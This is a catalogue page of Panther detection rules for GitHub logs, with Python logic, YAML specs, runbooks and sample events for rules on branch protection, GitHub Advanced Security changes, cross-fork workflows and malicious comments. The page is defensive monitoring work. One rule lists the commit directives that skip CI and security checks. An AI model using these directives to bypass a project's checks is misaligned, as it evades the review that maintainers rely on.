Detection rules › Panther

Panther rules: github

RuleSeverity
DEPRECATED - GitHub Web Hook Modifiedinformational
GitHub Action Failedhigh
GitHub Advanced Security Change WITHOUT Repo Archivedcritical
GitHub Artifact Download from Cross-Fork Workflowmedium
GitHub Branch Protection Disabledhigh
GitHub Branch Protection Policy Overridehigh
GitHub Commits Skipping Workflowsmedium
GitHub Cross-Fork Workflow Runinformational
GitHub Dependabot Vulnerability Dismissedhigh
GitHub Malicious Comment/Review Contentmedium
GitHub Malicious Commit Contenthigh
GitHub Malicious Issue/Pages Contentmedium
GitHub Malicious Pull Request Contenthigh
GitHub Org Authentication Method Changedcritical
GitHub Org IP Allow List modifiedmedium
Github Organization App Integration Installedlow
Github Public Repository Createdmedium
GitHub pull_request_target Workflow on Self-Hosted Runnerhigh
GitHub pull_request_target Workflow Usagehigh
GitHub pull_request_target Workflow with Checkout Actionmedium
GitHub Repository Archivedinformational
GitHub Repository Collaborator Changemedium
GitHub Repository Createdinformational
GitHub Repository Ruleset Modifiedinformational
Github Repository Transfermedium
GitHub Repository Visibility Changehigh
GitHub Secret Scanning Alert Createdmedium
GitHub Security Change, includes GitHub Advanced Securitylow
GitHub Sha1-Hulud Malicious Repository Createdhigh
GitHub Supply Chain - Software Installation Tool User Agentsmedium
GitHub Team Modifiedinformational
GitHub User Access Key Createdinformational
GitHub User Added or Removed from Orginformational
GitHub User Added to Org Moderatorsmedium
GitHub User Initial Access to Private Repoinformational
GitHub User Role Updatedhigh
GitHub Web Hook Modifiedinformational
GitHub Workflow Contains Checkout Actioninformational
GitHub Workflow Dispatched by GitHub Actions Botinformational
GitHub Workflow Downloading Artifactsinformational
GitHub Workflow Permissions Modifiedmedium
GitHub Workflow Using Self-Hosted Runnerinformational

DEPRECATED - GitHub Web Hook Modified

#
Status
Deprecated
Severity
informational
Log types
GitHub.Audit
Tags
GitHub, Exfiltration:Automated Exfiltration, Deprecated
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Deprecated. See GitHub.Webhook.Modified instead.

MITRE ATT&CK coverage

TacticTechniques
Exfiltration

Telemetry coverage

Detection logic

def rule(event):

    return event.get("action").startswith("hook.")


def title(event):
    action = "modified"
    if event.get("action").endswith("destroy"):
        action = "deleted"
    elif event.get("action").endswith("create"):
        action = "created"
    return f"web hook {action} in repository [{event.get('repo','<UNKNOWN_REPO>')}]"


def severity(event):
    if event.get("action").endswith("create"):
        return "MEDIUM"
    return "INFO"

Rule specification

AnalysisType: rule
Filename: github_repo_hook_modified.py
RuleID: "GitHub.Repo.HookModified"
DisplayName: "DEPRECATED - GitHub Web Hook Modified"
Status: Deprecated
Enabled: false
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Exfiltration:Automated Exfiltration
  - Deprecated
Reports:
  MITRE ATT&CK:
    - TA0010:T1020
Reference: https://docs.github.com/en/webhooks/about-webhooks
Severity: Info
Description: Deprecated. See GitHub.Webhook.Modified instead.

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action starts with hook.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionstarts_with
  • hook.
field:"action" kind:starts_with value:"hook."

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
repo

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "hook.create",
  "actor": "cat",
  "data": {
    "events": [
      "fork",
      "public",
      "pull_request",
      "push",
      "repository"
    ],
    "hook_id": 111222333444555
  },
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "repository": "my-org/my-repo"
}

GitHub Action Failed

#
Severity
high
Log types
GitHub.Audit
Tags
GitHub, Configuration Required
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

A monitored github action has failed.

Telemetry coverage

Detection logic

import json
from unittest.mock import MagicMock

from panther_github_helpers import github_alert_context

# The keys for MONITORED_ACTIONS are gh_org/repo_name
# The values for MONITORED_ACTIONS are a list of ["action_names"]
MONITORED_ACTIONS = {}


def rule(event):

    global MONITORED_ACTIONS  # pylint: disable=global-statement
    if isinstance(MONITORED_ACTIONS, MagicMock):
        MONITORED_ACTIONS = json.loads(MONITORED_ACTIONS())  # pylint: disable=not-callable
    repo = event.get("repo", "")
    action_name = event.get("name", "")
    return all(
        [
            event.get("action", "") == "workflows.completed_workflow_run",
            event.get("conclusion", "") == "failure",
            repo in MONITORED_ACTIONS,
            action_name in MONITORED_ACTIONS.get(repo, []),
        ]
    )


def title(event):
    repo = event.get("repo", "<NO_REPO>")
    action_name = event.get("name", "<NO_ACTION_NAME>")
    return f"GitHub Action [{action_name}] in [{repo}] has failed"


def alert_context(event):
    a_c = github_alert_context(event)
    a_c["action"] = event.get("name", "<NO_ACTION_NAME>")
    a_c["action_run_link"] = (
        f"https://github.com/{a_c.get('repo')}/actions/"
        f"runs/{event.get('workflow_run_id', '<NO_RUN_ID>')}"
    )
    return a_c

Rule specification

AnalysisType: rule
Filename: github_action_failed.py
RuleID: "GitHub.Action.Failed"
DisplayName: "GitHub Action Failed"
Enabled: false
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Configuration Required
Severity: High
Description: A monitored github action has failed.
Runbook: |
  Inspect the action failure link and take appropriate response.
  There are no general plans of response for this activity.
Reference: https://docs.github.com/en/actions/creating-actions/setting-exit-codes-for-actions#about-exit-codes

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • action is workflows.completed_workflow_run
  • conclusion is failure
  • repo is one of

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
name

Response runbook

Inspect the action failure link and take appropriate response.

There are no general plans of response for this activity.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "_document_id": "pWWWWWWWWWWWWWWWWWWWWW",
  "action": "workflows.completed_workflow_run",
  "actor": "github_handle",
  "at_sign_timestamp": "2023-01-31 18:58:27.638",
  "business": "github-business-only-if-enterprise-audit-log",
  "completed_at": "2023-01-31T18:58:27.000Z",
  "conclusion": "failure",
  "created_at": "2023-01-31 18:58:27.638",
  "event": "schedule",
  "head_branch": "master",
  "head_sha": "66dddddddddddddddddddddddddddddddddddddd",
  "name": "sync-panther-analysis-from-upstream",
  "operation_type": "modify",
  "org": "panther-labs",
  "p_log_type": "GitHub.Audit",
  "public_repo": false,
  "repo": "your-org/panther-analysis-copy",
  "run_attempt": 3,
  "run_number": 99,
  "started_at": "2023-01-31 18:58:04",
  "workflow_id": 44444444,
  "workflow_run_id": 5555555555
}

GitHub Advanced Security Change WITHOUT Repo Archived

#
Severity
critical
Time window
30h
Match by
p_alert_context.repo
Tags
GitHub, Code Security, Defense Evasion, Configuration Change
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Identifies when GitHub Advanced Security (GHAS) settings are modified without the repository being archived within 90 minutes. GHAS provides code scanning, secret scanning, and dependency review to detect vulnerabilities and exposed credentials. Disabling GHAS while keeping repositories active suggests attackers hiding malicious code, preventing security alert detection, or facilitating backdoors and supply chain attacks.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment

Rule specification

AnalysisType: correlation_rule
RuleID: "GitHub.Advanced.Security.Change.NOT.FOLLOWED.BY.Repo.Archived"
DisplayName: "GitHub Advanced Security Change WITHOUT Repo Archived"
Enabled: false
Severity: Critical
Tags:
  - GitHub
  - Code Security
  - Defense Evasion
  - Configuration Change
Reports:
  MITRE ATT&CK:
    - TA0005:T1562.001
Description: >
  Identifies when GitHub Advanced Security (GHAS) settings are modified without the repository being archived within 90 minutes. GHAS provides code scanning, secret scanning, and dependency review to detect vulnerabilities and exposed credentials. Disabling GHAS while keeping repositories active suggests attackers hiding malicious code, preventing security alert detection, or facilitating backdoors and supply chain attacks.
Runbook: |
  1. Query GitHub audit logs for the repository in p_alert_context.repo in the 6 hours around the GHAS change to identify all commits, secret scanning alerts, code scanning alerts, and CI/CD configuration changes made by the user who disabled GHAS
  2. Review GitHub secret scanning history and code scanning alerts for the repository to check if new secrets or vulnerabilities were introduced around the time GHAS was disabled
  3. Check the user account's recent activity across all repositories in the organization audit log to identify if they made similar GHAS changes on other repositories or exhibited other suspicious behavior
Reference: https://docs.github.com/en/code-security/getting-started/auditing-security-alerts
Detection:
  - Group:
      - ID: GHASChange
        RuleID: GitHub.Advanced.Security.Change
      - ID: RepoArchived
        RuleID: Github.Repo.Archived
        Absence: true
    MatchCriteria: 
      field_name:
      - GroupID: GHASChange
        Match: p_alert_context.repo
      - GroupID: RepoArchived
        Match: p_alert_context.repo
    EventEvaluationOrder: Chronological
    LookbackWindowMinutes: 1800
    Schedule:
      RateMinutes: 1440
      TimeoutMinutes: 10

Stages and Predicates

Fires when the steps below all occur within 30h, correlated by p_alert_context.repo. Each step needs one match unless a higher minimum is shown.

Stage 1: step GHASChange

References detection GitHub Security Change, includes GitHub Advanced Security.

Stage 2: step RepoArchived (negated)

References detection GitHub Repository Archived.

Response runbook

1. Query GitHub audit logs for the repository in p_alert_context.repo in the 6 hours around the GHAS change to identify all commits, secret scanning alerts, code scanning alerts, and CI/CD configuration changes made by the user who disabled GHAS

2. Review GitHub secret scanning history and code scanning alerts for the repository to check if new secrets or vulnerabilities were introduced around the time GHAS was disabled

3. Check the user account's recent activity across all repositories in the organization audit log to identify if they made similar GHAS changes on other repositories or exhibited other suspicious behavior

GitHub Artifact Download from Cross-Fork Workflow

#
Severity
medium
Time window
30h
Match by
workflow_job.run_id, workflow_run.id
Tags
CI/CD, Workflow, Supply Chain, Artifact Poisoning
Reference
www.legitsecurity.com
Source
github.com/panther-labs/panther-analysis

The "download artifacts" API, and various custom actions encapsulating it, doesn't differentiate between artifacts that were uploaded by forked repositories and base repositories, which could lead privileged workflows to download artifacts that were created by forked repositories and that are potentially poisoned.

MITRE ATT&CK coverage

Rule specification

AnalysisType: correlation_rule
RuleID: "GitHub.ArtifactDownload.FROM.CrossFork.Workflow"
DisplayName: "GitHub Artifact Download from Cross-Fork Workflow"
Enabled: false
Severity: Medium
Tags:
  - CI/CD
  - Workflow
  - Supply Chain
  - Artifact Poisoning
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
    - TA0004:T1134  # Privilege Escalation: Access Token Manipulation
Description: >
  The "download artifacts" API, and various custom actions encapsulating it,
  doesn't differentiate between artifacts that were uploaded by forked repositories 
  and base repositories, which could lead privileged workflows to download artifacts
  that were created by forked repositories and that are potentially poisoned.
Runbook: |
  1. Consider ensuring that the artifact download job uses the specific run_id for the generated artifact. 
     It is recommended to specify which run id or commit hash to download the artifact from.
  2. Consider filtering out artifacts created from pull requests.
  3. Consider limiting the possibility for outside collaborators to trigger workflows.
  4. Sanitize cross-fork contents.
Reference: https://www.legitsecurity.com/blog/artifact-poisoning-vulnerability-discovered-in-rust
Detection:
  - Group:
      - ID: CrossForkWorkflowRun
        RuleID: GitHub.CrossFork.Workflow.Run
      - ID: ArtifactDownload
        RuleID: GitHub.Webhook.WorkflowArtifactDownload
    MatchCriteria:
      field_name:
        - GroupID: CrossForkWorkflowRun
          Match: workflow_run.id
        - GroupID: ArtifactDownload
          Match: workflow_job.run_id
    EventEvaluationOrder: Chronological
    LookbackWindowMinutes: 1800
    Schedule:
      RateMinutes: 1440
      TimeoutMinutes: 10

Stages and Predicates

Fires when the steps below all occur within 30h, correlated by workflow_job.run_id, workflow_run.id. Each step needs one match unless a higher minimum is shown.

Stage 1: step CrossForkWorkflowRun

References detection GitHub Cross-Fork Workflow Run.

Stage 2: step ArtifactDownload

References detection GitHub Workflow Downloading Artifacts.

Response runbook

1. Consider ensuring that the artifact download job uses the specific run_id for the generated artifact.

It is recommended to specify which run id or commit hash to download the artifact from.

2. Consider filtering out artifacts created from pull requests.

3. Consider limiting the possibility for outside collaborators to trigger workflows.

4. Sanitize cross-fork contents.

GitHub Branch Protection Disabled

#
Severity
high
Log types
GitHub.Audit
Tags
GitHub, Initial Access:Supply Chain Compromise
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Disabling branch protection controls could indicate malicious use of admin credentials in an attempt to hide activity.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    return event.get("action") == "protected_branch.destroy"


def title(event):
    return (
        f"A branch protection was removed from the "
        f"repository [{event.get('repo', '<UNKNOWN_REPO>')}] "
        f"by [{event.get('actor', '<UNKNOWN_ACTOR>')}]"
    )

Rule specification

AnalysisType: rule
Filename: github_branch_protection_disabled.py
RuleID: "GitHub.Branch.ProtectionDisabled"
DisplayName: "GitHub Branch Protection Disabled"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Initial Access:Supply Chain Compromise
Reports:
  MITRE ATT&CK:
    - TA0001:T1195
Severity: High
Description: Disabling branch protection controls could indicate malicious use of admin credentials in an attempt to hide activity.
Runbook: Verify that branch protection should be disabled on the repository and re-enable as necessary.
Reference: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is protected_branch.destroy

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • protected_branch.destroy
field:"action" kind:eq value:"protected_branch.destroy"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
repo
actor

Response runbook

Verify that branch protection should be disabled on the repository and re-enable as necessary.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "protected_branch.destroy",
  "actor": "cat",
  "created_at": 1621305118553,
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo"
}

GitHub Branch Protection Policy Override

#
Severity
high
Log types
GitHub.Audit
Tags
GitHub, Initial Access:Supply Chain Compromise
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Bypassing branch protection controls could indicate malicious use of admin credentials in an attempt to hide activity.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    return event.get("action") == "protected_branch.policy_override"


def title(event):
    branch = event.get("branch", "<UNKNOWN_BRANCH>")
    return (
        f"A branch protection requirement in the repository"
        f" [{event.get('repo', '<UNKNOWN_REPO>')}]"
        f" was overridden by user [{event.udm('actor_user')}]"
        f" on branch [{branch}]"
    )

Rule specification

AnalysisType: rule
Filename: github_branch_policy_override.py
RuleID: "GitHub.Branch.PolicyOverride"
DisplayName: "GitHub Branch Protection Policy Override"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Initial Access:Supply Chain Compromise
Reports:
  MITRE ATT&CK:
    - TA0001:T1195
Severity: High
Description: Bypassing branch protection controls could indicate malicious use of admin credentials in an attempt to hide activity.
Runbook: Verify that the GitHub admin performed this activity and validate its use.
Reference: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is protected_branch.policy_override

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • protected_branch.policy_override
field:"action" kind:eq value:"protected_branch.policy_override"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
repo
actor_user
branch

Response runbook

Verify that the GitHub admin performed this activity and validate its use.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "protected_branch.policy_override",
  "actor": "cat",
  "branch": "refs/heads/main",
  "created_at": 1621305118553,
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo"
}

GitHub Commits Skipping Workflows

#
Severity
medium
Log types
GitHub.Webhook
Tags
CI/CD, Workflow
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects commits from cross-fork scenarios that contain workflow skip directives, which bypass GitHub Actions workflows. These skip patterns ([skip ci], [ci skip], [no ci], [skip actions], [actions skip], skip-checks:true) can be used to avoid security checks and CI/CD processes. This rule only alerts on commits to public forkable repositories.

MITRE ATT&CK coverage

Detection logic

import re

from panther_github_helpers import github_reference_url, github_webhook_alert_context

SKIP_PATTERNS = [
    r"\[skip ci\]",
    r"\[ci skip\]",
    r"\[no ci\]",
    r"\[skip actions\]",
    r"\[actions skip\]",
    r"skip-checks:\s*true",
]

COMPILED_PATTERNS = [re.compile(pattern, re.IGNORECASE) for pattern in SKIP_PATTERNS]


def rule(event):
    if not event.get("pusher"):
        return False

    repo = event.get("repository", {})
    if repo.get("private") or not repo.get("allow_forking"):
        return False

    messages = event.deep_walk("commits", "message")
    if not isinstance(messages, list):
        messages = [messages]

    for message in messages:
        if _has_skip_pattern(message):
            return True

    return False


def _has_skip_pattern(message):
    if not message:
        return False

    return any(pattern.search(message) for pattern in COMPILED_PATTERNS)


def title(event):
    repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
    head_commit = event.deep_get("head_commit", default={})
    commit_sha = head_commit.get("id", "<NO_SHA>")[:8]

    return f"Cross-fork workflow skip commit detected in {repo_name} ({commit_sha})"


def alert_context(event):
    context = github_webhook_alert_context(event)

    skip_commits = []

    commits = event.get("commits", [{}])
    for commit in commits:
        commit_message = commit.get("message", "")
        if _has_skip_pattern(commit_message):
            matched_patterns = [
                SKIP_PATTERNS[i]
                for i, pattern in enumerate(COMPILED_PATTERNS)
                if pattern.search(commit_message)
            ]

            skip_commits.append(
                {
                    "id": commit.get("id"),
                    "message": commit_message,
                    "author": commit.get("author", {}).get("name"),
                    "matched_patterns": matched_patterns,
                }
            )

    context["skip_commits"] = skip_commits

    return context


def reference(event):
    if reference_url := github_reference_url(event):
        return reference_url

    return "DEFAULT"

Rule specification

AnalysisType: rule
Filename: github_workflow_skip_commits.py
RuleID: "GitHub.Webhook.WorkflowSkipCommits"
DisplayName: "GitHub Commits Skipping Workflows"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0005:T1622  # Defense Evasion: Debugger Evasion
Tags:
  - CI/CD
  - Workflow
Severity: Medium
Description: >
  Detects commits from cross-fork scenarios that contain workflow skip directives, which bypass GitHub Actions workflows.
  These skip patterns ([skip ci], [ci skip], [no ci], [skip actions], [actions skip], skip-checks:true)
  can be used to avoid security checks and CI/CD processes. This rule only alerts on commits to public forkable repositories.
Runbook: >
  1. Review the commit message and author to determine if the workflow skip was intentional and authorized
  2. Verify that skipping workflows is appropriate for the type of changes made
  3. Check if the repository has policies requiring workflow runs for certain changes
  4. Consider if the skip bypasses important security or quality checks
  5. Monitor for patterns of excessive workflow skipping that might indicate policy circumvention
Reference: https://docs.github.com/en/actions/managing-workflow-runs/skipping-workflow-runs

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • pusher is present
  • repository.private is empty
  • repository.allow_forking is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
repository.allow_forkingis_null(no value, null check)excludes:repository.allow_forking
repository.privateis_not_null(no value, null check)excludes:repository.private

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
pusheris_not_null
  • (no value, null check)
field:"pusher" kind:is_not_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
full_namerepository.full_name

Response runbook

1. Review the commit message and author to determine if the workflow skip was intentional and authorized 2. Verify that skipping workflows is appropriate for the type of changes made 3. Check if the repository has policies requiring workflow runs for certain changes 4. Consider if the skip bypasses important security or quality checks 5. Monitor for patterns of excessive workflow skipping that might indicate policy circumvention

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "commits": [
    {
      "author": {
        "email": "dev@example.com",
        "name": "Developer"
      },
      "id": "abc123",
      "message": "Fix documentation [skip ci]"
    }
  ],
  "p_log_type": "GitHub.Webhook",
  "pusher": {
    "email": "dev@example.com",
    "name": "Developer"
  },
  "ref": "refs/heads/main",
  "repository": {
    "allow_forking": true,
    "full_name": "org/test-repo",
    "id": 123456789,
    "name": "test-repo",
    "owner": {
      "login": "org"
    },
    "private": false
  }
}

GitHub Cross-Fork Workflow Run

#
Severity
informational
Log types
GitHub.Webhook
Tags
CI/CD, Workflow
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Tracks workflows run in cross-fork pull requests.

MITRE ATT&CK coverage

Detection logic

from panther_base_helpers import deep_get
from panther_github_helpers import is_cross_fork_pr


def rule(event):
    return (
        event.deep_get("workflow_run", "event") in ("pull_request_target", "pull_request")
        and event.get("action") == "requested"
        and is_cross_fork_pr(event) is True
    )


def title(event):
    workflow_name = event.deep_get("workflow_run", "name", default="<UNKNOWN_WORKFLOW>")
    repo_name = deep_get(event, "repository", "full_name", default="<UNKNOWN_REPO>")
    action = event.get("action", "<UNKNOWN_ACTION>")

    title_str = f"Workflow [{workflow_name}] triggered by cross-fork PR in {repo_name} ({action})"
    return title_str

Rule specification

AnalysisType: rule
Filename: github_crossfork_workflow_run.py
RuleID: "GitHub.CrossFork.Workflow.Run"
DisplayName: "GitHub Cross-Fork Workflow Run"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
    - TA0004:T1134 # Privilege Escalation: Access Token Manipulation
Tags:
  - CI/CD
  - Workflow
CreateAlert: false
Severity: Info
Description: Tracks workflows run in cross-fork pull requests.
Reference: https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • workflow_run.event is one of pull_request_target, pull_request
  • action is requested

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "requested",
  "repository": {
    "full_name": "example-org/example-repo",
    "id": 243627255,
    "private": false
  },
  "workflow_run": {
    "conclusion": "failure",
    "event": "pull_request",
    "head_branch": "malicious-feature",
    "html_url": "https://github.com/example-org/example-repo/actions/runs/87654321",
    "id": 87654321,
    "name": "Build and Test",
    "pull_requests": [
      {
        "base": {
          "ref": "main",
          "repo": {
            "full_name": "example-org/example-repo",
            "id": 243627255,
            "name": "example-repo"
          }
        },
        "head": {
          "ref": "malicious-feature",
          "repo": {
            "full_name": "attacker/example-repo",
            "id": 999999999,
            "name": "example-repo"
          }
        },
        "number": 456
      }
    ],
    "status": "in_progress"
  }
}

GitHub Dependabot Vulnerability Dismissed

#
Severity
high
Log types
GitHub.Audit
Source
github.com/panther-labs/panther-analysis

Creates an alert if a dependabot alert is dismissed without being fixed.

Telemetry coverage

Detection logic

from panther_github_helpers import github_alert_context


def rule(event):
    if event.get("action") == "repository_vulnerability_alert.dismiss":
        return True
    return False


def title(event):
    return f"GitHub Dependabot Vulnerability Dismissed by {event.get('actor')}: {event.get('repo')}"


def alert_context(event):
    context = github_alert_context(event)
    alert_url = (
        f"https://github.com/{event.get('repo')}/security/dependabot/{event.get('alert_number')}"
    )
    return context | {"alert_url": alert_url}

Rule specification

AnalysisType: rule
DisplayName: "GitHub Dependabot Vulnerability Dismissed" 
Enabled: true
Filename: github_repo_vulnerability_dismissed.py
RuleID: "Github.Repo.VulnerabilityDismissed"
Severity: High
Threshold: 1
Description: >
  Creates an alert if a dependabot alert is dismissed without being fixed.
LogTypes:
  - GitHub.Audit

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is repository_vulnerability_alert.dismiss

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • repository_vulnerability_alert.dismiss
field:"action" kind:eq value:"repository_vulnerability_alert.dismiss"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
actor
repo

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "_document_id": "Z7JUOWzi2wKeWsZcOhbS9w",
  "action": "repository_vulnerability_alert.dismiss",
  "active": true,
  "actor": "badger",
  "actor_id": "1234567",
  "actor_is_bot": false,
  "alert_number": 8,
  "at_sign_timestamp": "2024-04-09 06:17:55.186000000",
  "business": "acme",
  "business_id": "11244",
  "created_at": "2024-03-13 22:36:27.788000000",
  "external_identity_nameid": "badger@acme.com",
  "ghsa_id": "GHSA-1234-5678-9090",
  "operation_type": "modify",
  "org": "acme",
  "org_id": 42053323,
  "public_repo": true,
  "repo": "acme/repo",
  "repo_id": 6532371245,
  "user": "badger",
  "user_agent": "Mozilla/5.0 (Macintosh Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",
  "user_id": "1270063"
}

GitHub Malicious Comment/Review Content

#
Severity
medium
Log types
GitHub.Webhook
Tags
Code Injection, Supply Chain, Social Engineering
Reference
github.com
Source
github.com/panther-labs/panther-analysis

Detects malicious patterns in GitHub comment and review content that could indicate bash injection attempts or social engineering attacks. This includes comments on issues, pull requests, and pull request reviews. While comments cannot directly execute code, they can be used to trick developers into running malicious commands. This rule detects command substitution patterns similar to those found in the Nx vulnerability (GHSA-cxm3-wv7p-598c).

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_github_helpers import (
    contains_bash_injection_pattern,
    get_matched_bash_patterns,
    github_reference_url,
    github_webhook_alert_context,
)


def rule(event):
    # Check for comment/review events
    action = event.get("action")

    # Handle issue_comment events (comments on issues or PRs)
    if event.get("comment") and action in ["created", "edited"]:
        if contains_bash_injection_pattern(event.deep_get("comment", "body")):
            return True

    # Handle pull_request_review events
    if event.get("review") and action in ["submitted", "edited"]:
        if contains_bash_injection_pattern(event.deep_get("review", "body")):
            return True
    return False


def title(event):
    repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
    action = event.get("action", "<UNKNOWN_ACTION>")

    # Determine if this is a comment or review
    if event.get("comment"):
        comment_id = event.deep_get("comment", "id", default="<UNKNOWN>")
        comment_type = "PR comment" if event.get("pull_request") else "issue comment"
        return (
            f"Malicious pattern detected in {comment_type} #{comment_id} in {repo_name} ({action})"
        )
    if event.get("review"):
        review_id = event.deep_get("review", "id", default="<UNKNOWN>")
        return f"Malicious pattern detected in PR review #{review_id} in {repo_name} ({action})"

    return f"Malicious pattern detected in comment/review in {repo_name} ({action})"


def alert_context(event):
    context = github_webhook_alert_context(event)

    # Analyze comment body
    if comment_body := event.deep_get("comment", "body"):
        patterns = get_matched_bash_patterns(comment_body)
        if patterns:
            comment = event.get("comment", {})
            context["comment_analysis"] = {
                "body": comment_body,
                "matched_patterns": patterns,
                "comment_id": comment.get("id"),
                "user": comment.get("user", {}).get("login"),
                "html_url": comment.get("html_url"),
                "created_at": comment.get("created_at"),
                "updated_at": comment.get("updated_at"),
            }

    # Analyze review body
    if review_body := event.deep_get("review", "body"):
        patterns = get_matched_bash_patterns(review_body)
        if patterns:
            review = event.get("review", {})
            context["review_analysis"] = {
                "body": review_body,
                "matched_patterns": patterns,
                "review_id": review.get("id"),
                "user": review.get("user", {}).get("login"),
                "state": review.get("state"),
                "html_url": review.get("html_url"),
                "submitted_at": review.get("submitted_at"),
            }

    return context


def reference(event):
    # Try to get comment or review URL
    if comment_url := event.deep_get("comment", "html_url"):
        return comment_url

    if review_url := event.deep_get("review", "html_url"):
        return review_url

    if reference_url := github_reference_url(event):
        return reference_url

    return "DEFAULT"

Rule specification

AnalysisType: rule
Filename: github_malicious_comment_content.py
RuleID: "GitHub.Webhook.MaliciousCommentContent"
DisplayName: "GitHub Malicious Comment/Review Content"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0042:T1566  # Initial Access: Phishing
Tags:
  - Code Injection
  - Supply Chain
  - Social Engineering
Severity: Medium
Description: >
  Detects malicious patterns in GitHub comment and review content that could indicate bash
  injection attempts or social engineering attacks. This includes comments on issues, pull
  requests, and pull request reviews. While comments cannot directly execute code, they can
  be used to trick developers into running malicious commands. This rule detects command
  substitution patterns similar to those found in the Nx vulnerability (GHSA-cxm3-wv7p-598c).
Runbook: |
  1. Review the comment or review content for malicious patterns
  2. Check the author's profile and activity history
  3. Determine if this is a legitimate comment or a social engineering attempt
  4. Delete the comment/review if it's malicious
  5. Report the user if they appear to be intentionally posting malicious content
  6. Review other comments from the same user in the repository
  7. Consider blocking the user from the repository/organization
  8. Check if any developers may have already executed the malicious commands
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c

Stages and Predicates

Fires on GitHub.Webhook events when any of the conditions below holds.

Condition

  • any of:
    • all of:
      • comment is present
      • action is one of created, edited
      • comment.body is present
    • all of:
      • review is present
      • action is one of submitted, edited
      • review.body is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionin
  • created
  • edited
  • submitted
field:"action" kind:in
commentis_not_null
  • (no value, null check)
field:"comment" kind:is_not_null
comment.bodyis_not_null
  • (no value, null check)
field:"comment.body" kind:is_not_null
reviewis_not_null
  • (no value, null check)
field:"review" kind:is_not_null
review.bodyis_not_null
  • (no value, null check)
field:"review.body" kind:is_not_null

Output fields

